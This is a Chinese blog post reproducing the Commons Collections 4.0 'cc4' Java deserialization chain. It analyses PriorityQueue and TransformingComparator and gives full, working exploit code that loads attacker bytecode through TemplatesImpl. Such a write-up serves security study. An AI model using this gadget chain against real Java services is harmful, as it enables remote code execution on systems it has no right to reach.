java 反序列化 cc4 复现

news/2025/3/12 9:58:20/文章来源:https://www.cnblogs.com/meraklbz/p/18546682

复现环境:jdk<=8u65,commonsCollections=4.0
CommonsCollections4.x版本移除了InvokerTransformer类不再继承Serializable,导致无法序列化.但是提供了TransformingComparator为CommonsCollections3.x所没有的,又带来了新的反序列化危险.
cc4的执行命令部分依然沿用cc3的TemplatesImpl,而是对ChainedTransfromer后面的部分进行了修改,需要找一个新的出口去触发transform方法.

出口链子分析

发现TransformingComparator.compare能够触发transform方法

public int compare(final I obj1, final I obj2) {  final O value1 = this.transformer.transform(obj1);  final O value2 = this.transformer.transform(obj2);  return this.decorated.compare(value1, value2);  
}

查找引用
image

一般来说,反序列化的出口一般是集合类或是能够容纳Object对象且继承自Serializable类的.这里是出现在了PriorityQueue类.

PriorityQueue

看这个siftDownUsingComparator方法:

private void siftDownUsingComparator(int k, E x) {  int half = size >>> 1;  while (k < half) {  int child = (k << 1) + 1;  Object c = queue[child];  int right = child + 1;  if (right < size &&  comparator.compare((E) c, (E) queue[right]) > 0)  c = queue[child = right];  if (comparator.compare(x, (E) c) <= 0)  break;  queue[k] = c;  k = child;  }  queue[k] = x;  
}

可以看到调用了comparatorcompare方法.而siftDownUsingComparatorsiftDown中被调用.

private void siftDown(int k, E x) {  if (comparator != null)  siftDownUsingComparator(k, x);  else  siftDownComparable(k, x);  
}

查找一下comparator的定义如下

private final Comparator<? super E> comparator;

然而这个siftDown还是私有方法,也没被readObject调用,依然要往上找.
image

找到了heapify方法

private void heapify() {  for (int i = (size >>> 1) - 1; i >= 0; i--)  siftDown(i, (E) queue[i]);  
}

这个方法被readObject调用了
image

看到这个readObject的逻辑较为简单,比较欣慰

private void readObject(java.io.ObjectInputStream s)  throws java.io.IOException, ClassNotFoundException {  // Read in size, and any hidden stuff  s.defaultReadObject();  // Read in (and discard) array length  s.readInt();  queue = new Object[size];  // Read in all elements.  for (int i = 0; i < size; i++)  queue[i] = s.readObject();  // Elements are guaranteed to be in "proper order", but the  // spec has never explained what that might be.    heapify();  
}

因此我们写出一个利用脚本.

package org.example;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.*;  import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
import org.apache.commons.collections4.map.TransformedMap;  import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.util.HashMap;  
import java.util.Map;  public class Main {  public static void main(String[] args) throws Exception{  TemplatesImpl templatesimpl = new TemplatesImpl();  Class<?> clazz = templatesimpl.getClass();  Field field = clazz.getDeclaredField("_name");  field.setAccessible(true);  field.set(templatesimpl, "test");  Field field2 = clazz.getDeclaredField("_bytecodes");  field2.setAccessible(true);  byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  byte[][] codes = {code};  field2.set(templatesimpl, codes);  Field field3 = clazz.getDeclaredField("_tfactory");  field3.setAccessible(true);  field3.set(templatesimpl, new TransformerFactoryImpl());  ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  Transformer[] transformers = {ct, it};  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);  PriorityQueue pq = new PriorityQueue<>(transformingComparator);  serial(pq);  unserial();  }  public static void serial(Object obj) throws IOException {  ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  out.writeObject(obj);  }  public static void unserial() throws IOException, ClassNotFoundException {  ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  in.readObject();  }  
}

然而跑起来没有弹计算器.断点调试一下,发现下面的问题.在这里要求i>=0才能进入循环,然而此处(size >>> 1) - 1的值为-1,无法触发siftDown.
image

size至少为2才行,使用反射修改size,成功弹出计算器

package org.example;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.*;  import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
import org.apache.commons.collections4.map.TransformedMap;  import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.util.HashMap;  
import java.util.Map;  public class Main {  public static void main(String[] args) throws Exception{  TemplatesImpl templatesimpl = new TemplatesImpl();  Class<?> clazz = templatesimpl.getClass();  Field field = clazz.getDeclaredField("_name");  field.setAccessible(true);  field.set(templatesimpl, "test");  Field field2 = clazz.getDeclaredField("_bytecodes");  field2.setAccessible(true);  byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  byte[][] codes = {code};  field2.set(templatesimpl, codes);  Field field3 = clazz.getDeclaredField("_tfactory");  field3.setAccessible(true);  field3.set(templatesimpl, new TransformerFactoryImpl());  ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  Transformer[] transformers = {ct, it};  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);  PriorityQueue pq = new PriorityQueue<>(transformingComparator);  Class clazz1 = pq.getClass();  Field field1 = clazz1.getDeclaredField("size");  field1.setAccessible(true);  field1.set(pq, 2);  serial(pq);  unserial();  }  public static void serial(Object obj) throws IOException {  ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  out.writeObject(obj);  }  public static void unserial() throws IOException, ClassNotFoundException {  ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  in.readObject();  }  
}

这里我看的教程因为是使用add去添加元素去赋值从而修改size,导致出现了一串问题.而我直接反射修改size就没有问题.
总结出反序列化链子如下

Gadget chain:
PriorityQueue.readObject()PriorityQueue.heapify()  PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()ChainedTransformer.transform()ConstantTransformer.transform()InstantiateTransformer.transform()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TemplatesImpl.defineClass()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/833599.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ICMP 重定向攻击

ICMP 重定向攻击原理 ICMP (Internet Control Message Protocol) :Internet 控制报文协议,用于在 IP 主机和 路由器之间传递控制消息(控制消息指网络是否通、主机是否可达、路由器是否可用等)ICMP 重定向 在某些特定情况下,路由器在检测到主机使用非优化路由时,会向主机发送…

java 反序列化 cc3 复现

java 反序列化 cc3 复现版本要求:jdk版本<=8u65,common-collections版本<=3.2.1 在很多时候,Runtime会被黑名单禁用.在这些情况下,我们需要去构造自定义的类加载器来加载自定义的字节码. 类加载机制 双亲委派 这里直接粘别人的了.实现一个自定义类加载器需要继承 ClassLo…

使用Tailwind CSS的几个小Tips

前情 Tailwind CSS 是一个原子类 CSS 框架,它将基础的 CSS 全部拆分为原子级别。它的工作原理是扫描所有 HTML 文件、JavaScript 文件以及任何模板中的 CSS 类名,然后生成相应的样式代码并写入到一个静态 CSS 文件中。Tailwind CSS 快速、灵活、可靠、没有运行时负担。自从接…

给朋友写的爬Steam游戏评论的爬虫

详见配图如果你需要的话,可以从这里下载(包括程序、说明和演示视频): https://pan.baidu.com/s/1lN-DNTB7pVXan94hCsqYUQ?pwd=72mg(本来想传蓝奏云的,但是蓝奏云不支持传图片和视频,而且单文件大小有限制,弄起来会比百度云盘还麻烦)

apisix~限流插件的使用

参考:https://i4t.com/19399.html https://github.com/apache/apisix/issues/9193 https://github.com/apache/apisix/issues/9830 https://apisix.apache.org/docs/apisix/plugins/limit-conn/ https://blog.frankel.ch/different-rate-limits-apisix/在 Apache APISIX 中,限…

项目冲刺11.14

这个作业属于哪个课程 计科22级34班这个作业要求在哪里 作业要求这个作业的目标 进行为期七天的项目冲刺并记录前言 本篇博客是项目冲刺的第六篇,七篇博客的汇总如下:博客汇总第一篇博客第二篇博客第三篇博客第四篇博客第五篇博客第六篇博客第七篇博客团队简介队名 拖延是你不…

研途无忧Alpha冲刺第二天

Alpha冲刺dya2 研途无忧-冲刺日志(第二天) 进度表成员 完成的任务 完成的任务时长 剩余时间马鑫 小研帮部分页面的前端设计、部分工作安排与调整、冲刺日志的撰写 4h 14h王强 小研帮部分页面的前端设计、小研帮数据库的完善、相关云函数的设计 4h 14h黄昕怡 研小fu性格的切换…

K-Means聚类分析以及误差平方和SSE(Python实现)

代码介绍 使用 make_blobs 函数生成一个二维的随机数据集,包含120个样本和3个中心。生成的数据将用于后续的聚类分析。 数据生成后,通过散点图可视化这些点,展示不同的聚类中心。 定义了一个函数 calculate_sse,用于计算给定聚类数 k 时的误差平方和(SSE)。该函数使用K-M…

数字孪生如何赋能智慧能源?揭秘技术背后的核心价值

随着能源行业不断向智能化、数字化转型,数字孪生技术在智慧能源项目中扮演的角色愈发重要。数字孪生不仅带来了前所未有的资源优化和成本节约方式,还为整个能源系统的可持续运营奠定了坚实基础。那么,为什么数字孪生技术在智慧能源项目中如此不可或缺?下面我就从可视化从业…

激活函数

一、正向传播和反向传播在模型训练过程中,是同时包含正向传播和反向传播的正向传播是模型根据输入数据和当前的参数(权重和偏置)计算预测输出的过程。例如,在一个图像分类神经网络模型中,输入是图像的像素数据,经过多个隐藏层的计算,最终在输出层得到预测的类别概率分布…

centOS7 docker 安装步骤

一、安装前检查工作: 1.检查/etc/yum.repos.d/CentOS-Base.repo文件是否存在,如果不存在,从网络仓库中复制一份新的 CentOS-Base.repo 文件。 sudo curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo 或者使用 wget: sudo wget -O /…

k8s 1.28.2 集群部署 docker registry 接入 MinIO 存储

目录docker registry 部署生成 htpasswd 文件生成 secret 文件生成 registry 配置文件创建 service创建 statefulset创建 ingress验证 docker registrydocker registry 监控docker registry uidocker registry dockerfile docker registry 配置文件 S3 storage driver registry…